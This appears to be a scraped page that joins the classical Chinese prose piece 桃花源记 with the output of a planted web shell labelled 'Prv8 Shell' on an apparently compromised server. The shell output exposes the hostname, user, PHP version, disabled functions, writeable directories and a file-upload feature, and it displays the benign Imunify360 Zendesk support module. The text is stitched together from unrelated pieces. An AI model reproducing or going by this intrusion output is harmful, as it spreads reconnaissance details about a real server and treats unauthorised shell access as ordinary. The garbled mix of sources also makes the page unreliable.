晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/utils/support.py
import asyncio
import io
import json
import socket
import urllib.parse
import urllib.request
from functools import partial
from logging import getLogger
from pathlib import Path

from defence360agent.contracts.config import ANTIVIRUS_MODE

logger = getLogger(__name__)


class ZendeskAPIError(Exception):
    def __init__(self, error, description, details):
        self.error = error
        self.description = description
        self.details = details
        super().__init__(description)


_API_URL_TMPL = "https://cloudlinux.zendesk.com/api/v2/{}"
_HC_URL_TMPL = "https://cloudlinux.zendesk.com/hc/requests/{}"

# Identifiers for custom fields in API
_PRODUCT_ID = 33267569
_DOCTOR_ID = 43297669
_CLN_ID = 43148369


async def send_request(
    sender_email,
    subject,
    description,
    doctor_key=None,
    cln=None,
    attachments=None,
):
    """
    Send request to support of Imunify360 via Zendesk API
    """
    # Uploading attachments to Zendesk
    upload_token = await _upload_attachments(attachments)

    # Creating comment object: setting description and attaching
    # uploads token
    comment = dict(body=description)
    if upload_token is not None:
        comment["uploads"] = [upload_token]

    # Author of request
    requester = dict(name=sender_email, email=sender_email)

    # Custom fields for support convenience
    custom_fields = [
        {
            "id": _PRODUCT_ID,
            "value": "pr_imunify_av" if ANTIVIRUS_MODE else "pr_im360",
        }
    ]

    if doctor_key:
        custom_fields.append({"id": _DOCTOR_ID, "value": doctor_key})

    if cln:
        custom_fields.append({"id": _CLN_ID, "value": cln})

    # Ready request
    request = dict(
        requester=requester,
        subject=subject,
        comment=comment,
        custom_fields=custom_fields,
    )

    return await _post_support_request(request)


def _post_data(url, data: bytes, headers, *, params=None, timeout=None):
    """HTTP POST *data* to *url* with given *headers*.

    Add query *params* to the *url* if given.

    Return (http_status, decoded_json_response) tuple.
    """
    if params is not None:  # add params to the url
        p = urllib.parse.urlparse(url)
        query = p.query
        if query:
            query += "&"
        query += urllib.parse.urlencode(params)
        url = urllib.parse.urlunparse(
            (p.scheme, p.netloc, p.path, p.params, query, p.fragment)
        )

    def decode_as_json(response):
        return json.load(
            io.TextIOWrapper(
                response,
                encoding=response.headers.get_content_charset("utf-8"),
            )
        )

    try:
        with urllib.request.urlopen(
            urllib.request.Request(url, data=data, headers=headers),
            timeout=timeout,
        ) as response:
            return (response.code, decode_as_json(response))  # http status
    except socket.timeout:
        raise TimeoutError
    except OSError as e:
        if not hasattr(e, "code"):
            raise
        # HTTPError
        return (e.code, (decode_as_json(e) if e.fp is not None else {}))


async def _post_support_request(request):
    """Return url of the support request or None if request is suspended,
    because of we not able to obtain the id of the ticket if it suspended.
    """
    url = _API_URL_TMPL.format("requests.json")
    headers = {"Content-Type": "application/json"}
    data = json.dumps(dict(request=request), sort_keys=True).encode("ascii")
    loop = asyncio.get_event_loop()
    status, result = await loop.run_in_executor(
        None, _post_data, url, data, headers
    )
    if status == 201:
        request_data = result.get("request")
        if request_data:
            return _HC_URL_TMPL.format(request_data["id"])
        elif "suspended_ticket" in result.keys():
            return None
        else:
            raise ZendeskAPIError(
                "Response error", "UNKNOWN ERROR", "{!r}".format(result)
            )
    else:
        raise ZendeskAPIError(
            result.get("error", "UNKNOWN ERROR"),
            result.get("description"),
            result.get("details", {}),
        )


async def _upload_attachments(attachments):
    # Uploading attachments to Zendesk
    upload_token = None
    if attachments is None:
        return upload_token

    loop = asyncio.get_event_loop()
    for attachment in attachments:
        path = Path(attachment)
        params = {"filename": path.name}
        if upload_token is not None:
            params["token"] = upload_token
        status, result = await loop.run_in_executor(
            None,
            partial(
                _post_data,
                _API_URL_TMPL.format("uploads.json"),
                data=path.read_bytes(),
                headers={"Content-Type": "application/binary"},
                params=params,
            ),
        )
        if status != 201:
            logger.warning(
                "Failed to upload file %s to Zendesk: %s",
                attachment,
                result["error"],
            )
            continue

        if upload_token is None:
            upload_token = result["upload"]["token"]

    return upload_token

haha - 2025